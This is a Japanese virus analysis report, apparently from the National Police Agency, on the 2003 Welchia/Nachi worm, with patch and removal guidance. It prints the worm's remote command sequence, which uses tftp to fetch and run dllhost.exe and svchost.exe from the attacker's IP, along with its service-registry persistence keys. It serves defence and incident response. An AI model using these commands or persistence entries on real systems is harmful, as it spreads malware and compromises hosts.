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W32.Welchia.Wormの感染動作概要

①ＩＣＭＰエコー要求パケットを送出（動作確認）

②ＩＣＭＰエコー応答

Microsoft
Windows

③135ポートにパケットを送出

④135ポートにExploitコードを送出

⑤707ポートで待ち受け、
tftpサーバ起動

⑥707ポートに接続

⑦被害ホストに以下のコードを送出

dir  wins¥dllhost.exe
dir  dllcache¥tftpd.exe
copy  dllcache¥tftpd.exe wins¥svchost.exe
tftp –i 【攻撃元IP】GET  dllhost.exe wins¥dllhost.exe
tftp –i 【攻撃元IP】GET  svchost.exe wins¥svchost.exe
wins¥dllhost.exe

⑪ワームコード
の実行、感染

⑧送られたコマンドを
実行

tftpd.exeが存在
すれば名前を変
えてコピーする。

tftpd.exeが存在し
なければ攻撃元
からsvchost.exe
を転送する

⑨69ポートにtftp接続要求、ファイル転送要求

⑩ワーム本体を転送
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Microsoft
Windows

① 次回以降コンピュータ起動時にワームが起動するようレジストリに記述

値 ：C:¥WINNT¥System32¥wins¥svchost.exe

キー：HKEY_LOCAL_MACHINE¥CurrentControlSet¥Services¥RpcTftpd¥ImagePath
値 ：C:¥WINNT¥System32¥wins¥DLLHOST.EXE

キー：HKEY_LOCAL_MACHINE¥ CurrentControlSet¥Services¥RpcPatche¥ImagePath

（詳細は別表１のとおり）

② 動作中のプロセルを探索し、W32.Blaster.Worm(msblast.exe)が動作中であれ
ば、これを強制終了させる。MS03-026及びMS03-007のパッチを当てること
を試みる

③ 時にはICMPエコー応答のあったホスト８０ポートに GET、SEARCHメソッドの
パケットを送出（１３５ポート攻撃との条件分岐）

発症動作の概要

O  S パッチ

未適用 適用

Windows NT Workstation 4.0 SP6a ○ ○

Server 4.0 SP6a ○ ○

Windows 2000 Professional SP4 × ○

Server SP4 × ○

Windows XP Home edition × ○

Professional × ○

Windows server 2003 ※ ○

http://support.microsoft.com/default.asp?scid=kb;ja;823980対策と感染の有無

○：感染しない

×：感染する

※：感染しないが再起動する
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別表１

キ  ー 値
HKLM¥System¥CurrentControlSet¥Services¥RpcTftpd Key: 0xE1DAE4C0
HKLM¥System¥CurrentControlSet¥Services¥RpcTftpd¥Type 0x110
HKLM¥System¥CurrentControlSet¥Services¥RpcTftpd¥Start 0x3
HKLM¥System¥CurrentControlSet¥Services¥RpcTftpd¥ErrorControl 0x0
HKLM¥System¥CurrentControlSet¥Services¥RpcTftpd¥ImagePath C:¥WINNT¥System32¥wins¥svchost.exe
HKLM¥System¥CurrentControlSet¥Services¥RpcTftpd¥DisplayName Network Connections Sharing
HKLM¥System¥CurrentControlSet¥Services¥RpcTftpd¥Security Key: 0xE2000E00
HKLM¥System¥CurrentControlSet¥Services¥RpcTftpd¥Security¥Security 01 00 14 80 A0 00 00 00 ...
HKLM¥System¥CurrentControlSet¥Services¥RpcTftpd¥Security Key: 0xE2000E00
HKLM¥System¥CurrentControlSet¥Services¥RpcTftpd¥ObjectName LocalSystem
HKLM¥System¥CurrentControlSet¥Services¥RpcTftpd Key: 0xE1DAE4C0
HKLM¥System¥CurrentControlSet¥Services¥RpcTftpd Key: 0xE1DAE4C0
HKLM¥System¥CurrentControlSet¥Services¥RpcTftpd Key: 0xE214A120

HKLM¥System¥CurrentControlSet¥Services¥RpcTftpd¥Description
複数のデータベース、メッセージ キュー、ファイル システム、またはほ
かのトランザクション保護されたリソース マネージャに分散されたトラ

ンザクションを調整します。

HKLM¥System¥CurrentControlSet¥Services¥RpcTftpd Key: 0xE214A120
HKLM¥System¥CurrentControlSet¥Services¥RpcTftpd Key: 0xE214A120
HKLM¥System¥CurrentControlSet¥Services¥RpcPatch Key: 0xE214A120
HKLM¥System¥CurrentControlSet¥Services¥RpcPatch¥Type 0x110
HKLM¥System¥CurrentControlSet¥Services¥RpcPatch¥Start 0x2
HKLM¥System¥CurrentControlSet¥Services¥RpcPatch¥ErrorControl 0x0
HKLM¥System¥CurrentControlSet¥Services¥RpcPatch¥ImagePath C:¥WINNT¥System32¥wins¥DLLHOST.EXE
HKLM¥System¥CurrentControlSet¥Services¥RpcPatch¥DisplayName WINS Client
HKLM¥System¥CurrentControlSet¥Services¥RpcPatch¥Security Key: 0xE2115CC0
HKLM¥System¥CurrentControlSet¥Services¥RpcPatch¥Security¥Security 01 00 14 80 A0 00 00 00 ...
HKLM¥System¥CurrentControlSet¥Services¥RpcPatch¥Security Key: 0xE2115CC0
HKLM¥System¥CurrentControlSet¥Services¥RpcPatch¥ObjectName LocalSystem
HKLM¥System¥CurrentControlSet¥Services¥RpcPatch Key: 0xE214A120
HKLM¥System¥CurrentControlSet¥Services¥RpcPatch Key: 0xE214A120
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 ウイルス解析報告書 

ウイルス名 

W32.Welchia.Worm （ 別 名 ： W32/Welchia.worm10240 [AhnLab], W32/Nachi.worm [McAfee], 

WORM_MSBLAST.D [Trend], Lovsan.D [F-Secure], W32/Nachi-A [Sophos], Win32.Nachi.A [CA], 

Worm.Win32.Welchia [KAV]） 

プログラム名及び容

量（添付ファイル名） 

プログラム名：Dllhost.exe 

容    量 ：10,240バイト 

種   別 ワーム 

プログラム言語 不明 

発 症 環 境 Microsoft IIS, Windows 2000, Windows XP 

発 見 日 時 2003年8月18日 

発見場所（発信地） 中国（最初の感染報告があった場所） 

危 険 性 
セキュリティホールが存在するコンピュータではインターネットに接続しただけで感染する可能性が

あるため非常に危険。危険度は5段階の4（5が最も危険）。 

発 症 条 件 セキュリティホールが存在するコンピュータで、ワームの攻撃を受けた時点。 

ウイルスの活動、影

響 

マイクロソフトのWindows Update WebサイトからDCOM RPC用の修正パッチをダウンロードしてイ

ンストールし、その後、コンピュータを再起動しようとする。 ICMP エコーを送信することによって、

現在動作中のコンピュータを探して感染するため、このワームの動作中は ICMP トラフィックが増大

する。 W32.Blaster.Wormを削除しようとする。 

被 害 規 模 
世界的に大規模に活動している。 

2003年8月22日までに929件（国内は59件）の届出がシマンテック社に寄せられている 

変種、亜種の有無 無  

ウイルスの動作概要 

W32.Welchia.Wormが実行されると、次のことを行う 

 

１． システムフォルダ%System%を探し出し、その場所に自分自身であるDllhost.exe をコピーする。

%System%¥Wins¥Dllhost.exe 

システムフォルダ%System%は、標準でC:¥WINNT¥System32 (Windows NT/2000)または

C:¥Windows¥System32 (Windows XP)である。 

 

２． %System%¥Dllcache¥Tftpd.exeのコピーを%System%¥Wins¥svchost.exe として作成する。 

Svchost.exeは正規のプログラムである。 

 

３．次のレジストリーに値を追加する     

HKEY_LOCAL_MACHINE¥SYSTEM¥CurrentControlSet¥Services 

追加する値 

RpcTftpd （svchost.exeのサービス名）  

RpcPatch （Dllhost.exeのサービス名） 

 

４． 次のサービスを作成する。 

サービス名: RpcTftpd 

サービス表示名: Network Connections Sharing 

サービスバイナリ: %System%¥wins¥svchost.exe 

このサービスは起動時に自動的に起動するように設定される。 

サービス名: RpcPatch 

サービス表示名: WINS Client 

サービスバイナリ: %System%¥wins¥dllhost.exe 

このサービスは起動時に自動的に起動するように設定される。 
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５．コンピュータ起動時にシステムの日付を調べ、年の値が 2004 の場合、RpcPatch、RpcTftpd、ワ

ーム本体を削除する。 

 

６．感染したコンピュータの IPアドレスを調査し、tftp コマンドの文字列を作成する。 

 

７．コンピュータのOSバージョン、サービスパックの番号、システムロケールを調査し、マイクロソフ

トのWindows Updateサイトに接続し、そのコンピュータのOSバージョンに適切なDCOM RPC脆

弱性用の修正パッチをダウンロードしようとする。 

  ダウンロードされる修正パッチは、Windous2000及びXP用のKOR（韓国）、CHS（簡体字中国

語）、 CHT（繁体字中国語）、及びENU（英語）の4言語版のみで日本語版のOSでは、パッチは

適用されない。 

 

８．アップデートのダウンロードと実行が終わると、コンピュータを再起動することで修正パッチのイ

ンストールを完了する。 

 

９．ワームは感染対象の IPアドレスを次の方法で選択する。 

第1、第2オクテットは感染したコンピュータの IPアドレスを使用する場合と、乱数を発生させ

1/2の確率で3だけ減算するか１を加算した第2オクテットを使用する場合がある。第3、第4オ

クテットについては、0.1から 255.255まで順に1ずつ増分した IPアドレスを選択する。 

 

10．上記で生成した IPアドレスに対し ICMPエコーを送出し、その IPアドレスのコンピュータがネッ

トワーク上で動作中かどうかを確認する。 

 

11．ネットワーク上で動作中のコンピュータを発見すると、TCPポート135にDCOM RPCの脆弱性

を悪用するデータを送信する。また、応答があったコンピュータの、TCPポート80にWebDavの

脆弱性を悪用するデータを送信する。 

 

12．ポート番号666～765からランダムに選択したTCPポート（707で動作することが確認されてい

る）を使って、攻撃側のコンピュータに接続し命令を受信し、実行される。リモートシェルを脆弱性

のあるコンピュータ上で起動する。 

 

13．攻撃側のコンピュータ上でTFTPサーバーを起動し、標的側のコンピュータに対し、攻撃側のコ

ンピュータからDllhost.exeおよびSvchost.exe をダウンロードするよう命令し、ワームを実行させ

る。ただし、%System%¥dllcache¥tftpd.exeというファイルが存在する場合、ワームはsvchost.exeに

名前を変えたコピーを作成しダウンロードしない。 

 

14．起動しているプロセスを探索し、msblast.exe（ W32.Blaster.Worm）が起動していればこのプロセ

スを強制終了し、このファイルを削除する。 

 

15. このワームは、「RpcPatch_Mutex」というミューテックを作成し、自分自身が重複して起動しない

ようにする。 

 

16. このワームには次のテキストが含まれてるが、画面に表示されることはない。 

  =========== I love my wife & baby :)̃̃̃  Welcome Chiañ̃  ̃  

        N'otice:  2004 will remove myself:)̃̃ sorry zhonglĩ̃̃===========  wins 

 

感染 ・ 発症防止方

法 

TCP ポート 135 を使って DCOM RPC の脆弱性(マイクロソフトセキュリティ情報MS03-026 参照)と

TCPポート 80 を使ってWebDav の脆弱性(マイクロソフトセキュリティ情報MS03-007 参照) を悪用

する。ワームが利用する脆弱性に関する情報と、その脆弱性を解消する修正プログラムについて

Copyright © 2003 警 察 庁 
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はマイクロソフト社のページを参照。マイクロソフト社から配布されている修正プログラムをただち

に適用する。 

 

 

 

ウイルスの駆除方法 

手動による修復を行う場合、コンピュータに関する高度な知識が必要とされ、間違えるとコンピュー

タが正常に起動しなくなる場合がある。 

 

１． 被害拡大防止のため、接続されているネットワークから切り離す。 

 

２．システムの復元オプションを無効にする 

   Windows XP システムの復元機能を無効にする手順 

1. [スタート] ボタンをクリックする。 
2. 表示されたメニューの中から [マイ コンピュータ] を右クリックし、[プロパティ] を選択す
る。 

 

3. [システムの復元] タブをクリックする。 
4. [システムの復元を無効にする]、または [すべてのドライブでシステムの復元を無効にす
る] にチェックを入れる。 

 
 

5. [適用] ボタンをクリックして設定を保存する。 
6. [OK] ボタンをクリックしてウィンドウを閉じる。 
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３．セーフモードで再起動する／動作中のプロセスを終了させる。 

セーフモードの詳細については、W32.HLLW.Fizzer@mmを参照のこと。 

ワームのプロセスを停止するには 

1.  Ctrl+Alt+Deleteキーを同時に押す。 

2.  [タスクマネージャ]をクリックする。 

3.  [プロセス]タブをクリックする。   

4.  リスト最上部のイメージ名をダブルクリックしてプロセスをアルファベット順に並ベ替える。 

5.  リストをスクロールして、Dllhost.exeを探す。  

6.  該当するファイルを発見したら、それをクリックして[プロセスの終了]をクリックする。   

7.  タスクマネージャを閉じる。 

 

４． 感染ファイルを探して削除する。 

Windowsエクスプローラを開き、次のファイルを探して削除する。  

Dllhost.exe  

 

５．レジストリから値を削除する 

1. [スタート]ボタンを押し、[ファイル名を指定して実行]をクリックする。（[ファイル名を指定して

実行]ダイアログボックスが表示される。） 

2. regedit と入力する。 

3. [OK]をクリックする。（レジストリ エディタが開く。） 

4. 次のレジストリキーを選択する。 

HKEY_LOCAL_MACHINE¥SYSTEM¥CurrentControlSet¥Services 

5. 次のサブ・キーを削除する。 

RpcPatch 及び RpcTftpd 

6. レジストリエディタを終了する。 

 

６．Svchost.exe ファイルを削除する。 

%System%¥Winsフォルダを探して選択し、Svchost.exe ファイルを削除する。 

 

無償修復ツールがワクチンベンダーから配布されているので、使用上の注意をよく読み自己責

任において使用すること。 

 

そ の 他 なし 
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